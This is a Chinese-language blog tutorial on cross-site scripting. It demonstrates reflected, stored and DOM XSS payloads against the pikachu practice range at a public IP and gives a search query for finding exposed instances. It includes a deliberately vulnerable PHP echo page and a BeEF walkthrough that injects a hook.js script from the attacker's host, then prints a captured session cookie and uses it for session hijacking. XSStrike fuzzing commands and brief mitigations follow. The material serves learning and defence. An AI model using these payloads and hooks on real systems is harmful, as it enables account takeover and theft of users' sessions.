首页 > 其他分享 >XSS-Cross Site Scripting

XSS-Cross Site Scripting

时间:2024-02-22 23:45:16浏览次数:27  
标签:XSS main http kali 22% Cross deb php Scripting

一、XSS简介与危害

简介
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表CSS(Cascading Style Sheets)的缩写混淆,故将跨站脚本攻击缩写为XSS。

恶意攻击者往Web页面插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

危害

1、盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号

2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

3、盗取企业重要的具有商业价值的资料

4、非法转账

5、强制发送电子邮件

6、网站挂马

7、控制受害者机器向其他网站发起攻击(重定向语句)

8、窃取cookie的Session id,冒充登陆

二、XSS分类及介绍

XSS攻击分为反射型、存储型和dom型,反射型与dom型十分容易发生混淆,危害较大的为存储类型。

1、反射型案例

案例1

编写.php代码

<?php
	$XSS = $_GET['x'];
echo $xss;
?>

存放路径:..\phpStudy\PHPTutorial\WWW

访问以下地址

http://localhost/1.php?x=1    ("1"可以是任意数字字母或脚本命令)
http://localhost/1.php?x=<script>alert(1)</script>

案例2

搜索pikachu靶场,靶场不唯一。

"pikachu" && country="CN" && title="Get the pikachu"

输入字节数受限

由于是GET请求类型可以修改URL

http://150.158.176.236/vul/xss/xss_reflected_get.php?message=<script>alert(8888)</script>&submit=submit

2、存储型案例

URL:http://150.158.176.236/vul/xss/xss_stored.php

<script>alert(1)</script>>

3、dom型案例

URL:http://150.158.176.236/vul/xss/xss_dom.php

' onclick="alert(1)"


dom型案例与服务器没有太大的关系,不需要和服务器交互,攻击纯粹发生在客户端。

三、XSS综合案例

XSS漏洞重现

安装靶场:

1)localhost/jfdd/install/install.php,界面提示错误。在提示路径install目录下删除.lock文件。

再次进入localhost/jfdd/install/install.php地址,进入系统安装界面。

按提示下一步继续完成安装。订单系统界面如下(localhost/jfdd/)

后台登陆地址:http://localhost/jfdd/admin/login.php ,进入管理员登陆界面。

后台查看订单信息

2)使用Beef

  • 安装源复制到 vim/etc/apt/sources.list
#阿里源
deb https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src https://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#清华大学源
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大源
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学源
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#网易Kali源
deb http://mirrors.163.com/debian wheezy main non-free contrib
deb-src http://mirrors.163.com/debian wheezy main non-free contrib 
  • 执行
apt update
  • 切换root用户,第一次启动需要设置密码。如果忘记密码,可以到 /usr/share/beef-xss/config.yaml查找。
beef-xss



宿主机/虚拟机均可以访问Beef http://192.168.254.134:3000/ui/authentication

用户名:beef 密码:root

  • 回到前台提交订单

    脚本命令:
<script src="http://192.168.254.134:3000/hook.js"></script>

军锋系统宿主机客户端登陆订单系统查看订单信息即可成为肉机

data:cookie=sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%2218ce3f016269da-0db484ff6ea35
9-26001951-1296000-18ce3f0162710f2%22%2C%22%24device_id%22%3A%2218ce3f016269da-0db484ff6ea35
9-26001951-1296000-18ce3f0162710f2%22%2C%22props%22%3A%7B%22%24latest_referrer%22%3A%22url%E
7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_referrer_host%22%3A%22ur
l%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_traffic_source_type%2
2%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%2C%22%24latest_search_keywo
rd%22%3A%22url%E7%9A%84domain%E8%A7%A3%E6%9E%90%E5%A4%B1%E8%B4%A5%22%7D%7D; __utmz=111872281
.1704631212.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); Hm_lvt_93d0ff6a4bef11a770a5f7
ff35ff9221=1704703403;Hm_lvt_ecd4feb5c351cc02583045a5813b5142=1705290743,1705291310,17056423
57,1706490043;__utma=111872281.659366271.1704631212.1705642357.1706490043.7;BEEFHOOK=aPmTDUy
ISZU1uhi9rkrfK4NPBfA6HfYmlqVsQDCG68NiEgnPVukiadjGq0gXgbiE9a9GriT1Nnh1rRoy; PHPSESSID=f2bds1d
6m8s5bldu8ld7m477f6

同时需要在虚拟机浏览器安装hackbar v2插件,F12窗口菜单最右侧hackbar菜单调用,使用宿主机IP+beef抓取cookie,在虚拟机处反向登陆订单系统。

3)案例局限性

  • 存在漏洞
  • 受限浏览器版本
  • 受限订单系统需要登陆
  • 受限各种WAF防护
  • 受限如何让对端触发(社工问题)

四、XSS绕过技巧与修复

案例Strike

安装依赖
pip install -r requirements.txt

C:\Users\86188\Desktop\tool\XSStrike-master>
以上路径下运行:python xsstrike.py -u "http://localhost/1.php?x=1" --fuzzer


直接探测

1)修改php软件www目录下1.php文件

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到</title>
</head>
<body>
<h1 align=center>欢迎</h1>
<?php
  $xss = $_GET['x'];
echo $xss;
?>
<center>测试XSS</center>
</body>
</html>

2)插件XSStrike-master目录下cmd,输入python xsstrike.py -u "http://localhost/1.php?x=1"命令,根据推荐payload逐一尝试执行相应命令


案例FUZZ

https://github.com/tennc/fuzzdb/

load加载字典xss-payload-list1.txt

修复

httponly

如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,但是并不能防止xss漏洞只能是防止cookie被盗取。

WAF

输入、输出验证

标签:XSS,main,http,kali,22%,Cross,deb,php,Scripting
From: https://www.cnblogs.com/zhangwei0885/p/18028437

相关文章

  • 三十二、XSS
    XSSFilter.pyfrombs4importBeautifulSoupclassXSSFilter(object):__instance=Nonedef__init__(self):#XSS白名单self.valid_tags={"font":['color','size','face','sty......
  • PHP项目&TP框架&SQL&XSS&架构&路由&调试&写法
    开发基础-TP框架-入口&调试&路由&写法等参考手册-TP5开发手册-为了掌握了解框架首页文件看APP_PATH定义-为了后期分析核心代码全局搜索:THINK_VERSION,为了后期分析此版本是否存在漏洞。参考手册-本地代码案例对比,为了后期分析定位代码块或测试漏洞。配置文件开关(app_debug,a......
  • 学习AJAX时出现has been blocked by CORS policy: Cross origin requests are only su
    练习js时用到ajax,console报错:AccesstoXMLHttpRequestat‘file:///Users/XXX/Downloads/nav/nav.json’fromorigin‘null’hasbeenblockedbyCORSpolicy:Crossoriginrequestsareonlysupportedforprotocolschemes:http,data,chrome,chrome-extension,chro......
  • xss漏洞简介
    xss简介XSS(跨站脚本公鸡)是一种常见的网络安全漏洞,公鸡者通过在受信任的网站上注入恶意脚本,使其在用户浏览器中执行。这些恶意脚本可以窃取用户的敏感信息,如登录凭证、个人信息等,或者进行其他恶意操作。XSS漏洞的原理是公鸡者将恶意脚本注入到受信任的网站中,然后当用户访问该网站时,......
  • kali学习笔记-05-DVWA XSS跨站脚本攻击
    kali学习笔记-05-DVWA XSS跨站脚本攻击KaliLinux网络安防一、反射型XSS攻击在OWASP的DVWA上,选中XSSreflected页面,在输入框内输入张三,页面反应正常。尝试输入一句script脚本。<script>alert('xss')</script>出现了如下的系统弹框,也就意味着后端服务器没有对特殊字符做......
  • nginx-go-crossplane crossplane golang 版本的nginx 配置解析包
    nginx-go-crossplane属于python版本crossplanenginx配置解析包的golang移植可以实现nginx配置解析转换为json格式的数据,当然也支持将json转换为nginx配置格式说明对于希望基于nginx搞自己的流量统一平台,同时希望基于api管理的,nginx-go-crossplane是一个很不错的选择......
  • vue 环境配置(使用cross-env配置)
    vue环境配置(使用cross-env配置)通过定义不同的打包命令,更改项目环境变量。1、下载cross-even(可跨平台设置node环境变量)npminstallcross-env--save-dev2、package.json文件查询scripts,在其中加入如下代码:(其为不同环境的打包命令,可自定义)。"build:qa":"cr......
  • 注解@CrossOrigin详解
    转载自:https://blog.csdn.net/MobiusStrip/article/details/84849418文章目录注解@CrossOrigin一、跨域(CORS)支持:二、使用方法:1、controller配置CORS1.1、controller方法的CORS配置1.2、为整个controller启用@CrossOrigin1.3、同时使用controller和方法级别的C......
  • 防御XSS攻击:DOMPurify不可或缺
    DOMPurify是什么?DOMPurify是一个针对DOM的XSS清理器。 DOMPurify有什么作用?DOMPurify可以清理HTML并防止XSS攻击。你可以用有恶意代码的HTML字符串来测试DOMPurify,它将返回一个带有干净的HTML字符串。DOMPurify将去除所有包含危险HTML的内容,从而防止XSS攻击。 怎么使用D......
  • CF607E Cross Sum
    首先考虑把定点置换到原点,则直线方程变为\(y+y_0=\dfraca{1000}(x+x_0)+\dfracb{1000}\)。令\(k=\dfraca{1000},c=\dfrac{ax_0+b}{1000}-y_0\),则有\(y=kx+c\)。考虑二分答案,找到一个最小的圆,使得圆内有至少\(m\)个交点,圆的半径\(r\)就是答案。......